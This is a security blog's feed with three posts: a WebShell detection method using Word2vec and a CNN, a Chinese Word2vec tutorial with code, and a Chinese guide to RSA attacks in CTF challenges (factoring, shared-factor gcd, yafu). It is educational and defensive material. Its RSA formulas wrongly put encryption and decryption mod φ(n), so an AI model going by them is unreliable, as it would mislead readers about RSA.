HumblePoster https://p0st3r.github.io/authors/admin/ HumblePoster Source Themes Academic (https://sourcethemes.com/academic/)en-usLithium©2016Sun, 12 May 2019 00:00:00 +0000 https://p0st3r.github.io/authors/admin/avatar_hu4bb7090cebbbe4a3e0580de401f23728_6887_270x270_fill_q90_lanczos_center.jpg HumblePoster https://p0st3r.github.io/authors/admin/ WebShell detection based on semantic features https://p0st3r.github.io/publication/webshell-detection-based-on-semantic-features/ Sun, 12 May 2019 00:00:00 +0000 https://p0st3r.github.io/publication/webshell-detection-based-on-semantic-features/ <h2 id="background">Background</h2> <p>In order to cope with the current complex and flexible WebShell attack environment and better detect various types of webshells, a text classfication method that combains word2vec and Bi-Gram, which not only considered the semantic features but also the word order features, has a better classfication result than using two features alone.</p> <p>In order to cope with the current complex and flexible WebShell attack environment and better detect various types of webshells, an improved WebShell detection method based on CNN was proposed by improving text feature extraction and convolutional neural network structure. First, precompile the PHP data set to get the opcode instruction sequence. Secondly, Word2vec is used to extract the word vectors of the original text and the phrase segmented by bi-gram respectively, and it serves as the two inputs of the convolutional neural network. Finally, the detection is carried out through the designed convolutional neural network. Through experiments, this method effectively improves the accuracy, recall rate and other performance parameters while compared with other methods.</p> <h2 id="introduction">Introduction</h2> <h3 id="word-ng-vec">Word-NG vec</h3> <p>In fact, the word embedding learned in Word2vec are more reflect in semantic similarity features , such as &ldquo;extract&rdquo; and &ldquo;take&rdquo;, &ldquo;compression&rdquo; and &ldquo;reduction&rdquo;, but without taking the word order features into account. Sometimes there are some differences with the actual semantics, for example:</p> <blockquote> <p>The USA started a trade war on China</p> </blockquote> <p>The main predicates of two sentences are interchanged to express different meanings, but there is no difference in Word2Vec. However, if N-Gram is used to divide the text into word groups , we can obtain the word order feature of the text,such as:</p> <table> <thead> <tr> <th>Orignal</th> <th>The USA started a trade war on China</th> </tr> </thead> <tbody> <tr> <td>Word2vec</td> <td>“The USA”,“started”,&ldquo;a&rdquo;,“trade war”,“on”,“China” (vector)</td> </tr> <tr> <td>2-gram</td> <td>“The USA/The USA” ,“The USA/started”,&ldquo;stared&rdquo;/a”,“a/trade war”,&ldquo;trade war/on&rdquo;,“on China”</td> </tr> </tbody> </table> <p> <a href="https://github.com/liyuanzi/WordNG-vec_WebShell_detect/blob/master/assets/1.jpg" target="_blank" rel="noopener"><img src="https://github.com/liyuanzi/WordNG-vec_WebShell_detect/raw/master/assets/1.jpg" alt="1"></a></p> <p>Combining N-Gram with Word2vec, the word vectors of the original text and 2-gram pharse are both trained by Word2vec as the general features of the text, taking into account not only the semantic features, but also the word order features. In this way, two similar sentences can be correctly classifcated.</p> <h3 id="convolutional-neural-network">Convolutional Neural Network</h3> <p>Based on the Kim Y&rsquo;s <a href="https://arxiv.org/abs/1408.5882" target="_blank" rel="noopener">TextCNN</a>, combined with the two-channel convolutional neural network, a text classification model DCTF-CNN(Double-Channels and Trible-Filters Convolutional Neural Network) was constructed.</p> <p>The structure of the neural network is shown below:</p> <p> <a href="https://github.com/liyuanzi/WordNG-vec_WebShell_detect/blob/master/assets/2.jpg" target="_blank" rel="noopener"><img src="https://github.com/liyuanzi/WordNG-vec_WebShell_detect/raw/master/assets/2.jpg" alt="2"></a></p> <p>The model includes five layers: input layer, convolution layer, pooling layer, full-link layer and output layer.In the input layer, T1 channel and T2 channel respectively input the word vector of the original text and the word vector of the 2-gram pharse. The convolution layer is composed of three convolution kernels of different widths, each of which covers the local characteristics of different granularity.In the pooling layer, the global maximum value is pooled, and the maximum value is reserved for each convolution kernel, which can effectively extract the most representative features.Two feature vectors were spliced in the full link layer, and finally two types of distributions, namely the probability distribution of WebShell and normal files, were output through Softmax in the output layer.</p> <h3 id="php-opcode">PHP opcode</h3> <p>PHP is an interpreted language, and its code execution process can be divided into Lexical Analysis stage, Syntax Analysis stage, byte code compilation stage and code execution stage.The execution flow diagram is shown in the solid line section in the below:</p> <p> <a href="https://github.com/liyuanzi/WordNG-vec_WebShell_detect/blob/master/assets/3.jpg" target="_blank" rel="noopener"><img src="https://github.com/liyuanzi/WordNG-vec_WebShell_detect/raw/master/assets/3.jpg" alt="3"></a></p> <p>In the lexical analysis phase, the Lexer reads the source code sequence of characters in sequence and shred them into Token sequences according to PHP syntax rules.In the Syntax analysis stage, the Token sequence is read in by the Parser to be syntactically checked, and then the Abstract Syntax Tree (AST) is generated.In the bytecode compilation phase, the PHP virtual machine Zend reads in the abstract syntax tree and translates the action nodes in the syntax tree into the corresponding bytecode.In the code execution stage, the PHP virtual machine Zend loads the corresponding module according to the code call, initializes the running environment, and finally executes the bytecode instruction and outputs the result.</p> <p>For example, the following code:</p> <pre><code>&lt;?php echo’Hello World’; $a=1+1; echo $a; ?&gt; </code></pre><p>After PHP code compilation by VLD extension, the code can be compiled into following opcode:</p> <pre><code>ZEND_ECHO ’Hello World’ ZEND_ADD ~ 0 1 1 ZEND_ASSIGN!0 ~ 0 ZEND_ECHI ~ 0 </code></pre><p>In this paper, the collected PHP datasets is compiled into opcode to word embedding, so as to avoid the interference of useless annotations added in the WebShell which might bypass static detection. In this way the generalization of the model could be imporved</p> <h2 id="assessment">Assessment</h2> <p>Experimental data sets were obtained from the following sources:</p> <table> <thead> <tr> <th>Type</th> <th>sources</th> </tr> </thead> <tbody> <tr> <td>WebShell</td> <td><a href="https://github.com/tennc/webshell">https://github.com/tennc/webshell</a> <a href="https://github.com/JohnTroony/php-webshells">https://github.com/JohnTroony/php-webshells</a> <a href="https://github.com/ysrc/webshell-sample">https://github.com/ysrc/webshell-sample</a> <a href="https://github.com/tanjiti/webshellSample">https://github.com/tanjiti/webshellSample</a> <a href="https://github.com/xl7dev/WebShell">https://github.com/xl7dev/WebShell</a></td> </tr> <tr> <td>Normal Page</td> <td><a href="https://github.com/WordPress/WordPress">https://github.com/WordPress/WordPress</a> <a href="https://github.com/phpmyadmin/phpmyadmin">https://github.com/phpmyadmin/phpmyadmin</a> <a href="https://github.com/typecho/typecho">https://github.com/typecho/typecho</a> <a href="https://github.com/bcit-ci/CodeIgniter">https://github.com/bcit-ci/CodeIgniter</a> <a href="https://github.com/laravel/laravel">https://github.com/laravel/laravel</a></td> </tr> </tbody> </table> <p>Remove duplicate files by md5 comparsion, a total of 2387 WebShell samples and 2316 Normal Page samples were obtained.</p> <p>The WebShell samples covers One-word Trojan, small Trojan and giant Trojan all types of WebShell.</p> <p>The Normal Page covers blog cms,php development framework and database management system, and the similar page was remove to optimize data sets.</p> <h2 id="usage">Usage</h2> <p>Download code and data sets</p> <pre><code>git clone https://github.com/liyuanzi/WordNG-vec_WebShell_detect </code></pre><p>This code requires Python2.7</p> <pre><code>conda create --name py27 python=2.7 </code></pre><p>Initialization environment</p> <pre><code>pip install -r requerments.txt </code></pre><p>start trainning</p> <pre><code>$ nohup python -u webshell.py &gt;dctf.txt 2&gt;&amp;1 &amp; tail -f dctf.txt </code></pre><p>The word embedding process takes a very long time,use <code>nohup</code> to avoid the word embedding process fail because the terminal closed unexpectly. The result is loaded into <code>dctf.txt</code></p> <h2 id="example">Example</h2> <p>A Comparsion examination on a small size data sets .</p> <table> <thead> <tr> <th>features</th> <th>Accuracy</th> <th>Precision</th> <th>Recall</th> <th>F1-score</th> </tr> </thead> <tbody> <tr> <td>2-gram</td> <td>0.798</td> <td>0.714</td> <td>0.196</td> <td>0.308</td> </tr> <tr> <td>opcode sequences</td> <td>0.969</td> <td>0.998</td> <td>0.823</td> <td>0.902</td> </tr> <tr> <td>Word2vec</td> <td>0.958</td> <td>0.994</td> <td>0.918</td> <td>0.954</td> </tr> <tr> <td>bigram-word2vec</td> <td>0.960</td> <td>0.978</td> <td>0.937</td> <td>0.958</td> </tr> <tr> <td>Word-NG vec</td> <td>0.984</td> <td>0.995</td> <td>0.971</td> <td>0.982</td> </tr> </tbody> </table> Word2vec的文档表示方法 https://p0st3r.github.io/post/word2vec-presentation/ Thu, 09 May 2019 00:00:00 +0000 https://p0st3r.github.io/post/word2vec-presentation/ <p>Word2vec是一种将文本转化为词向量的算法,即将词条映射为一个定长的连续的稠密向量,由这些向量构成一个向量空间,该向量的维数可以在事前确定,一般可以为50维或100维。</p> <p>例如:</p> <pre><code>Apple = [1.2,0.2,0.3,0.5] Pear = [0.1,0.3,0.5,1.5] Banana = [2.2,0.2,0.4,0.6] Orange = [0.6,0.1,1.0,0.2] </code></pre><p>每个词被表示成一个[1,4]的向量矩阵。</p> <p>在文本处理的任务中直接处理的是文当,而一个文本中包含很多词,所以需要将文本想办法用Word2vec向量表示 。这里有两种思路:</p> <blockquote> <ol> <li>直接将各个词的词向量串接起来,将整个文档表示成一个三维的向量</li> <li>将文本中各个词的词向量相加求平均,由最终的平均向量代表整个文本</li> </ol> </blockquote> <h2 id="三维文档向量">三维文档向量</h2> <p>处理如图所示:</p> <p><img src="2.jpg" alt="2"></p> <p>最终将文档表示成一个[M, P, F]三维向量,其中M代表文档个数,P代表每个文档的长度,为了便于神 经网络处理会将P处理成统一 长度,F代表最大特征值,即Word2vec训练出的向量大小。</p> <p>这种表示方法CNN处理效果较好。</p> <p>代码实例如下:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-python" data-lang="python"><span style="color:#75715e">#为了统一文本长度,设置最大文本长度,超过的截断,不足的用0.向量补齐 </span> max_document_length <span style="color:#f92672">=</span> <span style="color:#ae81ff">500</span> <span style="color:#75715e">#最大特征长度,即训练的词向量维度 </span> max_feature <span style="color:#f92672">=</span> <span style="color:#ae81ff">200</span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">getVecsByWord2Vec</span>(model, corpus, size): <span style="color:#66d9ef">global</span> max_document_length all_vectors <span style="color:#f92672">=</span> [] embeddingDim <span style="color:#f92672">=</span> model<span style="color:#f92672">.</span>vector_size <span style="color:#75715e">#0.向量,用于填充 </span> embeddingUnknown <span style="color:#f92672">=</span> [<span style="color:#ae81ff">0.</span> <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(embeddingDim)] <span style="color:#75715e">#逐句获取词向量并拼接 </span> <span style="color:#66d9ef">for</span> text <span style="color:#f92672">in</span> corpus: this_vector <span style="color:#f92672">=</span> [] <span style="color:#75715e">#切除掉最大文档长度后的词 </span> text <span style="color:#f92672">=</span> text[:max_document_length] <span style="color:#75715e">#逐词获取词向量并拼接 </span> <span style="color:#66d9ef">for</span> i,word <span style="color:#f92672">in</span> enumerate(text): <span style="color:#66d9ef">if</span> word <span style="color:#f92672">in</span> model<span style="color:#f92672">.</span>wv<span style="color:#f92672">.</span>vocab: this_vector<span style="color:#f92672">.</span>append(model[word]) <span style="color:#66d9ef">else</span>: this_vector<span style="color:#f92672">.</span>append(embeddingUnknown) <span style="color:#75715e">#不足长度的填充至最大文档长度 </span> dim <span style="color:#f92672">=</span> np<span style="color:#f92672">.</span>shape(this_vector) <span style="color:#66d9ef">if</span> dim[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">&lt;</span> max_document_length: pad_length <span style="color:#f92672">=</span> max_document_length<span style="color:#f92672">-</span>i<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> <span style="color:#66d9ef">for</span> n <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">0</span>,pad_length): this_vector<span style="color:#f92672">.</span>append(embeddingUnknown) all_vectors<span style="color:#f92672">.</span>append(this_vector) x <span style="color:#f92672">=</span> np<span style="color:#f92672">.</span>array(all_vectors) <span style="color:#66d9ef">return</span> x <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">get_feature_by_opcode_word2vec</span>(): <span style="color:#66d9ef">global</span> max_document_length x <span style="color:#f92672">=</span> [] y <span style="color:#f92672">=</span> [] <span style="color:#75715e"># 若有三维文档向量直接加载 </span> <span style="color:#66d9ef">if</span> os<span style="color:#f92672">.</span>path<span style="color:#f92672">.</span>exists(wv_data_pkl_file) <span style="color:#f92672">and</span> os<span style="color:#f92672">.</span>path<span style="color:#f92672">.</span>exists(label_pkl_file): f <span style="color:#f92672">=</span> open(wv_data_pkl_file, <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">rb</span><span style="color:#e6db74">&#39;</span>) x <span style="color:#f92672">=</span> pickle<span style="color:#f92672">.</span>load(f) f<span style="color:#f92672">.</span>close() f <span style="color:#f92672">=</span> open(label_pkl_file, <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">rb</span><span style="color:#e6db74">&#39;</span>) y <span style="color:#f92672">=</span> pickle<span style="color:#f92672">.</span>load(f) f<span style="color:#f92672">.</span>close() <span style="color:#66d9ef">else</span>: <span style="color:#75715e"># 导入训练数据,自定 </span> x, y <span style="color:#f92672">=</span> load_data_pkl_file() cores<span style="color:#f92672">=</span>multiprocessing<span style="color:#f92672">.</span>cpu_count() <span style="color:#75715e">#若有训练好的词向量模型则直接加载 </span> <span style="color:#66d9ef">if</span> os<span style="color:#f92672">.</span>path<span style="color:#f92672">.</span>exists(word2vec_bin): <span style="color:#66d9ef">print</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">Find cache file </span><span style="color:#e6db74">%s</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">%</span> word2vec_bin model<span style="color:#f92672">=</span>gensim<span style="color:#f92672">.</span>models<span style="color:#f92672">.</span>Word2Vec<span style="color:#f92672">.</span>load(word2vec_bin) <span style="color:#75715e">#若没有则训练再保存词向量模型 </span> <span style="color:#66d9ef">else</span>: model<span style="color:#f92672">=</span>gensim<span style="color:#f92672">.</span>models<span style="color:#f92672">.</span>Word2Vec(size<span style="color:#f92672">=</span>max_features, window<span style="color:#f92672">=</span><span style="color:#ae81ff">5</span>, min_count<span style="color:#f92672">=</span><span style="color:#ae81ff">5</span>, iter<span style="color:#f92672">=</span><span style="color:#ae81ff">10</span>, workers<span style="color:#f92672">=</span>cores) model<span style="color:#f92672">.</span>build_vocab(x) model<span style="color:#f92672">.</span>train(x, total_examples<span style="color:#f92672">=</span>model<span style="color:#f92672">.</span>corpus_count, epochs<span style="color:#f92672">=</span>model<span style="color:#f92672">.</span>iter) model<span style="color:#f92672">.</span>save(word2vec_bin) <span style="color:#75715e">#循环拼接出三维文档集合向量 </span> x <span style="color:#f92672">=</span> getVecsByWord2Vec(model, x, max_features) f <span style="color:#f92672">=</span> open(wv_data_pkl_file, <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">wb</span><span style="color:#e6db74">&#39;</span>) pickle<span style="color:#f92672">.</span>dump(x, f) f<span style="color:#f92672">.</span>close() <span style="color:#66d9ef">return</span> x,y </code></pre></div><h2 id="平均词向量">平均词向量</h2> <p>直接将每个文档中所有词的词向量相加求平均 ,用一个[1,F]的二维平均向量代表改文档。再将所有文档逐个拼接得到一个[M,F]的向量来表示整个文档集合。这种表示方法计算量较小 ,MLP处理效果还好,CNN效果极差。</p> <p>代码实例如下:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-python" data-lang="python"><span style="color:#75715e">#最大特征长度,即训练的词向量维度 </span> max_feature <span style="color:#f92672">=</span> <span style="color:#ae81ff">200</span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">buildWordVector</span>(model,text, size): vec <span style="color:#f92672">=</span> np<span style="color:#f92672">.</span>zeros(size)<span style="color:#f92672">.</span>reshape((<span style="color:#ae81ff">1</span>, size)) count <span style="color:#f92672">=</span> <span style="color:#ae81ff">0.</span> <span style="color:#75715e">#逐词获取词向量并累加 </span> <span style="color:#66d9ef">for</span> word <span style="color:#f92672">in</span> text: <span style="color:#66d9ef">try</span>: vec <span style="color:#f92672">+</span><span style="color:#f92672">=</span> model[word]<span style="color:#f92672">.</span>reshape((<span style="color:#ae81ff">1</span>, size)) count <span style="color:#f92672">+</span><span style="color:#f92672">=</span> <span style="color:#ae81ff">1.</span> <span style="color:#66d9ef">except</span> <span style="color:#a6e22e">KeyError</span>: <span style="color:#66d9ef">continue</span> <span style="color:#75715e">#求平均向量 </span> <span style="color:#66d9ef">if</span> count <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>: vec <span style="color:#f92672">/</span><span style="color:#f92672">=</span> count <span style="color:#66d9ef">return</span> vec <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">get_feature_by_opcode_word2vec</span>(): <span style="color:#66d9ef">global</span> max_document_length x <span style="color:#f92672">=</span> [] y <span style="color:#f92672">=</span> [] <span style="color:#75715e"># 若有三维文档向量直接加载 </span> <span style="color:#66d9ef">if</span> os<span style="color:#f92672">.</span>path<span style="color:#f92672">.</span>exists(wv_data_pkl_file) <span style="color:#f92672">and</span> os<span style="color:#f92672">.</span>path<span style="color:#f92672">.</span>exists(label_pkl_file): f <span style="color:#f92672">=</span> open(wv_data_pkl_file, <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">rb</span><span style="color:#e6db74">&#39;</span>) x <span style="color:#f92672">=</span> pickle<span style="color:#f92672">.</span>load(f) f<span style="color:#f92672">.</span>close() f <span style="color:#f92672">=</span> open(label_pkl_file, <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">rb</span><span style="color:#e6db74">&#39;</span>) y <span style="color:#f92672">=</span> pickle<span style="color:#f92672">.</span>load(f) f<span style="color:#f92672">.</span>close() <span style="color:#66d9ef">else</span>: <span style="color:#75715e"># 导入训练数据,自定 </span> x, y <span style="color:#f92672">=</span> load_data_pkl_file() cores<span style="color:#f92672">=</span>multiprocessing<span style="color:#f92672">.</span>cpu_count() <span style="color:#75715e">#若有训练好的词向量模型则直接加载 </span> <span style="color:#66d9ef">if</span> os<span style="color:#f92672">.</span>path<span style="color:#f92672">.</span>exists(word2vec_bin): <span style="color:#66d9ef">print</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">Find cache file </span><span style="color:#e6db74">%s</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">%</span> word2vec_bin model<span style="color:#f92672">=</span>gensim<span style="color:#f92672">.</span>models<span style="color:#f92672">.</span>Word2Vec<span style="color:#f92672">.</span>load(word2vec_bin) <span style="color:#75715e">#若没有则训练再保存词向量模型 </span> <span style="color:#66d9ef">else</span>: model<span style="color:#f92672">=</span>gensim<span style="color:#f92672">.</span>models<span style="color:#f92672">.</span>Word2Vec(size<span style="color:#f92672">=</span>max_features, window<span style="color:#f92672">=</span><span style="color:#ae81ff">5</span>, min_count<span style="color:#f92672">=</span><span style="color:#ae81ff">5</span>, iter<span style="color:#f92672">=</span><span style="color:#ae81ff">10</span>, workers<span style="color:#f92672">=</span>cores) model<span style="color:#f92672">.</span>build_vocab(x) model<span style="color:#f92672">.</span>train(x, total_examples<span style="color:#f92672">=</span>model<span style="color:#f92672">.</span>corpus_count, epochs<span style="color:#f92672">=</span>model<span style="color:#f92672">.</span>iter) model<span style="color:#f92672">.</span>save(word2vec_bin) <span style="color:#75715e">#循环拼接出二维文档集合向量 </span> x<span style="color:#f92672">=</span> np<span style="color:#f92672">.</span>concatenate([buildWordVector(model,z, max_features) <span style="color:#66d9ef">for</span> z <span style="color:#f92672">in</span> x]) <span style="color:#75715e">#归一化 </span> x <span style="color:#f92672">=</span> scale(x) f <span style="color:#f92672">=</span> open(wv_data_pkl_file, <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">wb</span><span style="color:#e6db74">&#39;</span>) pickle<span style="color:#f92672">.</span>dump(x, f) f<span style="color:#f92672">.</span>close() <span style="color:#66d9ef">return</span> x,y </code></pre></div> CTF中RSA的常见攻击方法 https://p0st3r.github.io/post/rsa-in-ctf/ Wed, 09 May 2018 00:00:00 +0000 https://p0st3r.github.io/post/rsa-in-ctf/ <p>RSA基于一个简单的数论事实,两个大素数相乘十分容易,将其进行因式分解确实困难的。在量子计算机还没有成熟的今天,RSA算法凭借其良好的抵抗各种攻击的能力,在公钥密码体制中发挥着中流砥柱的作用。然而即便RSA算法目前来说是安全可靠的,但是错误的应用场景,错误的环境配置,以及错误的使用方法,都会导致RSA的算法体系出现问题,从而也派生出针对各种特定场景下的RSA攻击方法。</p> <h3 id="rsa算法描述">RSA算法描述</h3> <p>RSA算法涉及三个参数,n,e,d,私钥为{n,d},公钥为{n,e}。</p> <p>$n= p*q$</p> <p>$φ(n)= (p-1)*(q-1)$</p> <p>其中n是两个大素数p,q的乘积。</p> <p>d是e模φ(n)的逆元,φ(n)是n的欧拉函数。</p> <p>$e^d = 1 mod φ(n)$</p> <p>c为密文,m为明文,则加密过程如下:</p> <p>$c = m^e mod φ(n)$ $m = c^d mod φ(n)$</p> <h3 id="rsa题目类型">RSA题目类型</h3> <p>在CTF竞赛中,RSA理所当然处在CRYPTO中居多。而且RSA作为典型的加密算法,其出镜率可谓相当高,基本上所有比赛都会有几道RSA的题目出现。</p> <h3 id="数据处理">数据处理</h3> <p>在进行做题之前,我们要将数据处理成可以做题的模式。基本上来说,RSA的题目都是围绕着c,m,e,d,n,p,q这几个参数展开的,但是题目一般不会直接给这种样子的参数,而是通过别的方式给出,这里就需要我们使用一些工具或者自己手工将这些参数提取出来。</p> <ul> <li>pem文件</li> </ul> <p>对此类文件可以直接使用openssl提取,大概使用过的方式有:</p> <pre><code>openssl rsautl -encrypt -in FLAG -inkey public.pem -pubin -out flag.enc openssl rsa -pubin -text -modulus -in warmup -in public.pem </code></pre><ul> <li>pcap文件</li> </ul> <p>针对此类文件可以使用wireshark follow一下。这种问题一般都是写了一个交互的crypto系统,所以可能产生多轮交互。</p> <ul> <li>PPC模式</li> </ul> <p>这种模式是上述pcap文件的交互版,会给一个端口进行一些crypto的交互,参数会在交互中给出。</p> <p>第二个需要处理的就是明密文,这个方法多多,不多赘述。</p> <h2 id="模数分解">模数分解</h2> <p>解决RSA题目最简单,最暴力,最好使的方法就是分解模数n。如果能够将n分解成功,成功得到p,q的取值,那么可求n的欧拉函数的值。</p> <p>$φ(n) = (p-1)(q-1)$ $n = p*q$</p> <p>而通过e,d与n的欧拉函数满足如下关系:</p> <p>$ed = 1 mod φ(n)$</p> <p>$e = d^-1 mod φ(n)$</p> <p>通过欧几里得算法可以通过e与n的欧拉函数的值轻易求出d,从而计算出解密密钥。</p> <p>即在知道e,p,q的情况下,可以解出d:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-python" data-lang="python"><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">egcd</span>(a, b): <span style="color:#66d9ef">if</span> a <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>: <span style="color:#66d9ef">return</span> (b, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1</span>) <span style="color:#66d9ef">else</span>: g, y, x <span style="color:#f92672">=</span> egcd(b <span style="color:#f92672">%</span> a, a) <span style="color:#66d9ef">return</span> (g, x <span style="color:#f92672">-</span> (b <span style="color:#f92672">/</span><span style="color:#f92672">/</span> a) <span style="color:#f92672">*</span> y, y) <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">modinv</span>(a, m): g, x, y <span style="color:#f92672">=</span> egcd(a, m) <span style="color:#66d9ef">if</span> g <span style="color:#f92672">!=</span> <span style="color:#ae81ff">1</span>: <span style="color:#66d9ef">raise</span> <span style="color:#a6e22e">Exception</span>(<span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">modular inverse does not exist</span><span style="color:#e6db74">&#39;</span>) <span style="color:#66d9ef">else</span>: <span style="color:#66d9ef">return</span> x <span style="color:#f92672">%</span> m </code></pre></div><p>modinv函数即为求模拟的函数,在知道e,p,q的情况下,可以:</p> <pre><code>d=modinv(e,(p-1)*(q-1)) </code></pre><p>即可求出解密密钥。</p> <p>写到这里,要提出一个细节问题,在利用python进行rsa的题目求解过程中:</p> <p>$c = m^e mod φ(n)$</p> <p>​ 此类运算需要使用pow函数来进行求解,而不是直接m**e % n,这样会慢死的。Python在处理此类运算进行了优化。比如刚才在已知p,q的时候利用modinv函数求出了d,然后就可以利用pow函数求出明文:</p> <pre><code>m=pow(c,d,n) </code></pre><p>例题:</p> <p><a href="https://www.jarvisoj.com">https://www.jarvisoj.com</a> (very easy RSA)</p> <p>题目中直接给了p,q,e。</p> <p>可以直接求出d:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-python" data-lang="python">p <span style="color:#f92672">=</span> <span style="color:#ae81ff">3487583947589437589237958723892346254777</span> q <span style="color:#f92672">=</span> <span style="color:#ae81ff">8767867843568934765983476584376578389</span> e <span style="color:#f92672">=</span> <span style="color:#ae81ff">65537</span> d <span style="color:#f92672">=</span> modinv(e, (p<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>)<span style="color:#f92672">*</span>(q<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>)) <span style="color:#66d9ef">print</span> d </code></pre></div><h3 id="直接分解n">直接分解n</h3> <p>素数分解问题是困难的,但是可以通过计算机进行暴力分解。1999年,名为Cray的超级计算机用了5个月时间分解了512bit的n。2009年,一群研究人员成功分解了768bit的n。2010年,又提出了一些针对1024bit的n的分解的途径,但是没有正面分解成功。通常意义上来说,一般认为2048bit以上的n是安全的。现在一般的公钥证书都是4096bit的证书。</p> <p>如果n比较小,那么可以通过工具进行直接n分解,从而得到私钥。如果n的大小小于256bit,那么我们通过本地工具即可爆破成功。例如采用windows平台的RSATool2v17,可以在几分钟内完成256bit的n的分解。</p> <p>如果n在768bit或者更高,可以尝试使用一些在线的n分解网站,这些网站会存储一些已经分解成功的n,比如: <a href="http://factordb.com/" target="_blank" rel="noopener">http://factordb.com</a></p> <p>通过在此类网站上查询n,如果可以分解或者之前分解成功过,那么可以直接得到p和q。然后利用前述方法求解得到密文。</p> <p><strong>题目识别</strong></p> <p>此类问题一般是分值较小的题目,提取出n之后可以发现n的长度小于等于512bit,可以直接取分解n。如果大于512bit,建议在使用每个题目都用后面所说的方法去解题。</p> <p><strong>例题</strong></p> <p>比如在某次竞赛中,发现:</p> <pre><code>n=87924348264132406875276140514499937145050893665602592992418171647042491658461 </code></pre><p>利用factordb分解:</p> <pre><code>n = 275127860351348928173285174381581152299*319576316814478949870590164193048041239 </code></pre><h3 id="利用公约数">利用公约数</h3> <p>如果在两次公钥的加密过程中使用的n1和n2具有相同的素因子,那么可以利用欧几里得算法直接将n1和n2分解。</p> <p>通过欧几里得算法可以直接求出n1和n2的最大公约数p:</p> <pre><code>gcd(n1,n2)=p </code></pre><p>可以得出</p> <p>$n1 = p<em>q_1$ $n2 = p</em>q_2$</p> <p>直接分解成功。而欧几里得算法的时间复杂度为:O(log n)。这个时间复杂度即便是4096 bit也是秒破级别。</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-python" data-lang="python"><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">gcd</span>(a, b): <span style="color:#66d9ef">if</span> a <span style="color:#f92672">&lt;</span> b: a, b <span style="color:#f92672">=</span> b, a <span style="color:#66d9ef">while</span> b <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>: temp <span style="color:#f92672">=</span> a <span style="color:#f92672">%</span> b a <span style="color:#f92672">=</span> b b <span style="color:#f92672">=</span> temp <span style="color:#66d9ef">return</span> a </code></pre></div><p><strong>题目识别</strong></p> <p>识别此类题目,通常会发现题目给了若干个n,均不相同,并且都是2048bit,4096bit级别,无法正面硬杠,并且明文都没什么联系,e也一般取65537。</p> <p><strong>例题</strong></p> <p>在一个题目中,你拿到了两个n,e都为65537,两个n分别为:</p> <pre><code>n1=9051013965404084482870087864821455535159008696042953021965631089095795348830954383127323853272528967729311045179605407693592665683311660581204886571146327720288455874927281128121117323579691204792399913106627543274457036172455814805715668293705603675386878220947722186914112990452722174363713630297685159669328951520891938403452797650685849523658191947411429068829734053745180460758604283051344339641429819373112365211739216160420494167071996438506850526168389386850499796102003625404245645796271690310748804327 n2=13225948396179603816062046418717214792668512413625091569997524364243995991961018894150059207824093837420451375240550310050209398964506318518991620142575926623780411532257230701985821629425722030608722035570690474171259238153947095310303522831971664666067542649034461621725656234869005501293423975184701929729170077280251436216167293058560030089006140224375425679571181787206982712477261432579537981278055755344573767076951793312062480275004564657590263719816033564139497109942073701755011873153205366238585665743 </code></pre><p>通过直接分解,上factordb都分解失败。通过尝试发现:</p> <pre><code>print gcd(n1,n2) </code></pre><p>打印出:</p> <pre><code>1564859779720039565508870182569324208117555667917997801104862601098933699462849007879184203051278194180664616470669559575370868384820368930104560074538872199213236203822337186927275879139590248731148622362880471439310489228147093224418374555428793546002109 </code></pre><p>则此致即为两个n共有的素因子p,然后进一步求出q,求解完毕。</p> <h3 id="fermat方法与pollard-rho方法">Fermat方法与Pollard rho方法</h3> <p>针对大整数的分解有很多种算法,性能上各有优异,有Fermat方法,Pollard rho方法,试除法,以及椭圆曲线法,连分数法,二次筛选法,数域分析法等等。其中一些方法应用在RSA的攻击上也有奇效。</p> <p>在p,q的取值差异过大,或者p,q的取值过于相近的时候,Format方法与Pollard rho方法都可以很快将n分解成功。</p> <p>此类分解方法有一个开源项目yafu将其自动化实现了,不论n的大小,只要p和q存在相差过大或者过近时,都可以通过yafu很快地分解成功。</p> <p><strong>题目识别</strong></p> <p>在直接分解n无望,不能利用公约数分解n之后,都应该使用yafu去试一下。</p> <p><strong>例题</strong></p> <p><a href="https://www.jarvisoj.com">https://www.jarvisoj.com</a> (Medium RSA)</p> 